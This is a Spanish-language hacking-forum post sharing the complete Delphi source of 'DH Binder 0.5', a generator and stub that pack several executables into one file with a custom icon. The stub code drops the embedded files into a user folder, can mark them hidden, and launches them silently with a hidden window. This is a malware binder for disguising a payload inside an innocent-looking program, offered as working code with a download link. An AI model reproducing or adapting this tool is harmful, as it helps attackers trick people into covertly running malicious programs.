elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  [Delphi] DH Binder 0.5
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Delphi] DH Binder 0.5  (Leído 1,605 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Delphi] DH Binder 0.5
« en: 21 Mayo 2014, 23:11 pm »

Version final de esta binder que hice en Delphi.

Una imagen :



Un video con un ejemplo de uso :



Los codigos :

El generador.

Código
  1. // DH Binder 0.5
  2. // (C) Doddy Hackman 2014
  3. // Credits :
  4. // Joiner Based in : "Ex Binder v0.1" by TM
  5. // Icon Changer based in : "IconChanger" By Chokstyle
  6. // Thanks to TM & Chokstyle
  7.  
  8. unit dh;
  9.  
  10. interface
  11.  
  12. uses
  13.  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  14.  System.Classes, Vcl.Graphics,
  15.  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.pngimage,
  16.  Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Menus, MadRes;
  17.  
  18. type
  19.  TForm1 = class(TForm)
  20.    Image1: TImage;
  21.    StatusBar1: TStatusBar;
  22.    PageControl1: TPageControl;
  23.    TabSheet1: TTabSheet;
  24.    TabSheet2: TTabSheet;
  25.    TabSheet3: TTabSheet;
  26.    TabSheet4: TTabSheet;
  27.    GroupBox1: TGroupBox;
  28.    Button1: TButton;
  29.    GroupBox2: TGroupBox;
  30.    ListView1: TListView;
  31.    GroupBox3: TGroupBox;
  32.    GroupBox4: TGroupBox;
  33.    ComboBox1: TComboBox;
  34.    GroupBox5: TGroupBox;
  35.    CheckBox1: TCheckBox;
  36.    GroupBox6: TGroupBox;
  37.    GroupBox7: TGroupBox;
  38.    Image2: TImage;
  39.    GroupBox8: TGroupBox;
  40.    Button2: TButton;
  41.    GroupBox9: TGroupBox;
  42.    Image3: TImage;
  43.    Memo1: TMemo;
  44.    PopupMenu1: TPopupMenu;
  45.    AddFile1: TMenuItem;
  46.    CleanList1: TMenuItem;
  47.    OpenDialog1: TOpenDialog;
  48.    OpenDialog2: TOpenDialog;
  49.    Edit1: TEdit;
  50.    procedure CleanList1Click(Sender: TObject);
  51.    procedure AddFile1Click(Sender: TObject);
  52.    procedure Button2Click(Sender: TObject);
  53.    procedure FormCreate(Sender: TObject);
  54.    procedure Button1Click(Sender: TObject);
  55.  private
  56.    { Private declarations }
  57.  public
  58.    { Public declarations }
  59.  end;
  60.  
  61. var
  62.  Form1: TForm1;
  63.  
  64. implementation
  65.  
  66. {$R *.dfm}
  67. // Functions
  68.  
  69. function dhencode(texto, opcion: string): string;
  70. // Thanks to Taqyon
  71. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  72. var
  73.  num: integer;
  74.  aca: string;
  75.  cantidad: integer;
  76.  
  77. begin
  78.  
  79.  num := 0;
  80.  Result := '';
  81.  aca := '';
  82.  cantidad := 0;
  83.  
  84.  if (opcion = 'encode') then
  85.  begin
  86.    cantidad := length(texto);
  87.    for num := 1 to cantidad do
  88.    begin
  89.      aca := IntToHex(ord(texto[num]), 2);
  90.      Result := Result + aca;
  91.    end;
  92.  end;
  93.  
  94.  if (opcion = 'decode') then
  95.  begin
  96.    cantidad := length(texto);
  97.    for num := 1 to cantidad div 2 do
  98.    begin
  99.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  100.      Result := Result + aca;
  101.    end;
  102.  end;
  103.  
  104. end;
  105.  
  106. //
  107.  
  108. procedure TForm1.AddFile1Click(Sender: TObject);
  109. var
  110.  op: String;
  111. begin
  112.  
  113.  if OpenDialog1.Execute then
  114.  begin
  115.  
  116.    op := InputBox('Add File', 'Execute Hide ?', 'Yes');
  117.  
  118.    with ListView1.Items.Add do
  119.    begin
  120.      Caption := ExtractFileName(OpenDialog1.FileName);
  121.      if (op = 'Yes') then
  122.      begin
  123.        SubItems.Add(OpenDialog1.FileName);
  124.        SubItems.Add('Hide');
  125.      end
  126.      else
  127.      begin
  128.        SubItems.Add(OpenDialog1.FileName);
  129.        SubItems.Add('Normal');
  130.      end;
  131.    end;
  132.  
  133.  end;
  134. end;
  135.  
  136. procedure TForm1.Button1Click(Sender: TObject);
  137. var
  138.  i: integer;
  139.  nombre: string;
  140.  ruta: string;
  141.  tipo: string;
  142.  savein: string;
  143.  opcionocultar: string;
  144.  lineafinal: string;
  145.  uno: DWORD;
  146.  tam: DWORD;
  147.  dos: DWORD;
  148.  tres: DWORD;
  149.  todo: Pointer;
  150.  change: DWORD;
  151.  valor: string;
  152.  stubgenerado: string;
  153.  
  154. begin
  155.  
  156.  if (ListView1.Items.Count = 0) or (ListView1.Items.Count = 1) then
  157.  begin
  158.    ShowMessage('You have to choose two or more files');
  159.  end
  160.  else
  161.  begin
  162.    stubgenerado := 'done.exe';
  163.  
  164.    if (CheckBox1.Checked = True) then
  165.    begin
  166.      opcionocultar := '1';
  167.    end
  168.    else
  169.    begin
  170.      opcionocultar := '0';
  171.    end;
  172.  
  173.    if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
  174.    begin
  175.      savein := 'USERPROFILE';
  176.    end
  177.    else
  178.    begin
  179.      savein := ComboBox1.Items[ComboBox1.ItemIndex];
  180.    end;
  181.  
  182.    DeleteFile(stubgenerado);
  183.    CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
  184.      'Data/stub.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
  185.      stubgenerado), True);
  186.  
  187.    uno := BeginUpdateResource(PChar(ExtractFilePath(Application.ExeName) + '/'
  188.      + stubgenerado), True);
  189.  
  190.    for i := 0 to ListView1.Items.Count - 1 do
  191.    begin
  192.  
  193.      nombre := ListView1.Items[i].Caption;
  194.      ruta := ListView1.Items[i].SubItems[0];
  195.      tipo := ListView1.Items[i].SubItems[1];
  196.  
  197.      lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
  198.        '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
  199.      lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode') +
  200.        '[63686175]';
  201.  
  202.      dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
  203.        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  204.      tam := GetFileSize(dos, nil);
  205.      GetMem(todo, tam);
  206.      ReadFile(dos, todo^, tam, tres, nil);
  207.      CloseHandle(dos);
  208.      UpdateResource(uno, RT_RCDATA, PChar(lineafinal),
  209.        MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam);
  210.  
  211.    end;
  212.  
  213.    EndUpdateResource(uno, False);
  214.  
  215.    if not(Edit1.Text = '') then
  216.    begin
  217.      try
  218.        begin
  219.          change := BeginUpdateResourceW
  220.            (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
  221.            stubgenerado)), False);
  222.          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  223.            PWideChar(wideString(Edit1.Text)));
  224.          EndUpdateResourceW(change, False);
  225.          StatusBar1.Panels[0].Text := '[+] Done ';
  226.          Form1.StatusBar1.Update;
  227.        end;
  228.      except
  229.        begin
  230.          StatusBar1.Panels[0].Text := '[-] Error';
  231.          Form1.StatusBar1.Update;
  232.        end;
  233.      end;
  234.    end
  235.    else
  236.    begin
  237.      StatusBar1.Panels[0].Text := '[+] Done ';
  238.      Form1.StatusBar1.Update;
  239.    end;
  240.  end;
  241. end;
  242.  
  243. procedure TForm1.Button2Click(Sender: TObject);
  244. begin
  245.  if OpenDialog2.Execute then
  246.  begin
  247.    Image2.Picture.LoadFromFile(OpenDialog2.FileName);
  248.    Edit1.Text := OpenDialog2.FileName;
  249.  end;
  250. end;
  251.  
  252. procedure TForm1.CleanList1Click(Sender: TObject);
  253. begin
  254.  ListView1.Items.Clear;
  255. end;
  256.  
  257. procedure TForm1.FormCreate(Sender: TObject);
  258. begin
  259.  OpenDialog1.InitialDir := GetCurrentDir;
  260.  OpenDialog2.InitialDir := GetCurrentDir;
  261.  OpenDialog2.Filter := 'Icons|*.ico|';
  262. end;
  263.  
  264. end.
  265.  
  266. // The End ?
  267.  

El stub.

Código
  1. // DH Binder 0.5
  2. // (C) Doddy Hackman 2014
  3. // Credits :
  4. // Joiner Based in : "Ex Binder v0.1" by TM
  5. // Icon Changer based in : "IconChanger" By Chokstyle
  6. // Thanks to TM & Chokstyle
  7.  
  8. program stub;
  9.  
  10. uses
  11.  Windows,
  12.  SysUtils,
  13.  ShellApi;
  14.  
  15. // Functions
  16.  
  17. function regex(text: String; deaca: String; hastaaca: String): String;
  18. begin
  19.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  20.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  21.  Result := text;
  22. end;
  23.  
  24. function dhencode(texto, opcion: string): string;
  25. // Thanks to Taqyon
  26. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  27. var
  28.  num: integer;
  29.  aca: string;
  30.  cantidad: integer;
  31.  
  32. begin
  33.  
  34.  num := 0;
  35.  Result := '';
  36.  aca := '';
  37.  cantidad := 0;
  38.  
  39.  if (opcion = 'encode') then
  40.  begin
  41.    cantidad := Length(texto);
  42.    for num := 1 to cantidad do
  43.    begin
  44.      aca := IntToHex(ord(texto[num]), 2);
  45.      Result := Result + aca;
  46.    end;
  47.  end;
  48.  
  49.  if (opcion = 'decode') then
  50.  begin
  51.    cantidad := Length(texto);
  52.    for num := 1 to cantidad div 2 do
  53.    begin
  54.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  55.      Result := Result + aca;
  56.    end;
  57.  end;
  58.  
  59. end;
  60.  
  61. //
  62.  
  63. // Start the game
  64.  
  65. function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
  66. var
  67.  data: DWORD;
  68.  uno: DWORD;
  69.  dos: DWORD;
  70.  cinco2: string;
  71.  nombre: string;
  72.  tipodecarga: string;
  73.  ruta: string;
  74.  ocultar: string;
  75.  
  76. begin
  77.  
  78.  Result := True;
  79.  
  80.  cinco2 := cinco;
  81.  cinco2 := regex(cinco2, '[63686175]', '[63686175]');
  82.  cinco2 := dhencode(cinco2, 'decode');
  83.  cinco2 := LowerCase(cinco2);
  84.  
  85.  nombre := regex(cinco2, '[nombre]', '[nombre]');
  86.  tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
  87.  ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
  88.  ocultar := regex(cinco2, '[hide]', '[hide]');
  89.  
  90.  data := FindResource(0, cinco, cuatro);
  91.  
  92.  uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
  93.    CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  94.  WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
  95.    dos, nil);
  96.  
  97.  CloseHandle(uno);
  98.  
  99.  if (ocultar = '1') then
  100.  begin
  101.    SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
  102.  end;
  103.  
  104.  if (tipodecarga = 'normal') then
  105.  begin
  106.    ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_SHOWNORMAL);
  107.  end
  108.  else
  109.  begin
  110.    ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_HIDE);
  111.  end;
  112.  
  113. end;
  114.  
  115. begin
  116.  
  117.  EnumResourceNames(0, RT_RCDATA, @start, 0);
  118.  
  119. end.
  120.  
  121. // The End ?
  122.  

Si lo quieren bajar lo pueden hacer de aca.


« Última modificación: 21 Mayo 2014, 23:33 pm por Doddy » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
binder en vb « 1 2 »
Programación Visual Basic
loco5 10 6,362 Último mensaje 26 Septiembre 2005, 19:49 pm
por Kizar
[Descarga] CodeGear RAD Studio - Delphi 2007 + Delphi for PHP « 1 2 3 »
Software
GroK 26 25,421 Último mensaje 14 Mayo 2014, 17:51 pm
por sebaseok
[Delphi] DH Binder 0.3
Programación General
BigBear 0 1,492 Último mensaje 25 Octubre 2013, 17:05 pm
por BigBear
[Delphi] DH Binder 1.0
Programación General
BigBear 0 1,625 Último mensaje 27 Febrero 2015, 16:40 pm
por BigBear
[Delphi] DH Binder 2.0
Programación General
BigBear 0 1,536 Último mensaje 10 Febrero 2017, 00:30 am
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines